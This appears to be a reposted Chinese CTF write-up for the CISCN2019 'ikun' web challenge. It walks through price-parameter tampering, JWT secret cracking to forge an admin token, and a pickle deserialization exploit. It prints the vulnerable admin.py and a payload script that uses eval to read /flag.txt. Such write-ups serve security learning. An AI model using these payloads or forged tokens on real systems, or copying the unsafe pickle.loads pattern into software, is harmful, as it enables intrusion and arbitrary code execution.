其他分享
首页 > 其他分享> > [CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

作者:互联网

[CISCN2019 华北赛区 Day1 Web2]ikun

前言

kun kun勇敢飞,iKun永相随!!!!

知识点

抓包薅羊毛逻辑漏洞

我们做ctf 题时经常遇到 数值大小限制。非常经典的例子就是经常给我们1000块钱让我们买1亿块钱的东西。这个时候一般有两个思路

第一个是利用f12控制台修改前端,第一个不好使的时候我们可以考虑抓包修改参数 本题就是采用抓包修改参数的策略。

jwt破解

jwt详解传送门

jwt破解工具

dalao 的博客把jwt讲的很清楚了已经,我这就简单叙述一下我的理解。

jwt 全称 Json Web Token 是一种较安全的用于传递信息的token

jwt破解一般出现在获取授权或交换信息的情境下。

jwt由三部分组成

Header

Payload

Signnature

三部分是什么这里不详述。只谈一下jwt破解关于这三部分的思路

首先是关于Header header不变,所以抓包未破解前的jwt值base64解密获取即可

image.png

payload部分则是 传递数据,或伪装获取授权的位置,例如本题中要求是admin访问,我们就把username后对应的数值改为admin

image.png

最后signnature部分,你需要获取一个Key 这里利用jwtcracker工具

输入抓包获得的jwt得到key

例如本题

image.png

三部分都完成网站解密即可

python pickle 反序列化

python魔术方法拓展阅读

dalao本题wp,把pickle说的很清楚

题解

打开环境,又看到了我最爱的kunkun 心情愉悦。

看右上角有注册,注册一个账号并登录。

image.png

给了一千块钱 哇好多,不过这里也可以猜测又要让我们薅羊毛了QAQ

进入后援会,哇让买某站账号,提示一定要买到lv6 ,我们写个脚本搜一下。

import requests
url="http://e3b32889-def7-4684-a2df-86128aa61370.node3.buuoj.cn/shop?page="
for i in range(0,2000):
    r=requests.get(url+str(i))
    if "lv6.png" in r.text:
        print (i)
        break

image.png

好贵啊果然买不起,f12发现不是前端语言逻辑漏洞 抓包改参数吧

image.png

行了进入 提示只让admin访问

image.png

进行jwt破解

把username改为 admin jwt破解的过程在上文知识点里,这里不再赘述

在这里插入图片描述

在页面源码里发现了www文件下载

在admin.py里存在一个pickle后门

rom sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))#hello!!!
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

pickle反序列化的知识也在上文中这里只提供一个构造脚本

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload传参给become

得到flag

在这里插入图片描述

标签:return,ikun,admin,self,jwt,Day1,Web2,import,pickle
来源: https://blog.csdn.net/qq_42551635/article/details/116697487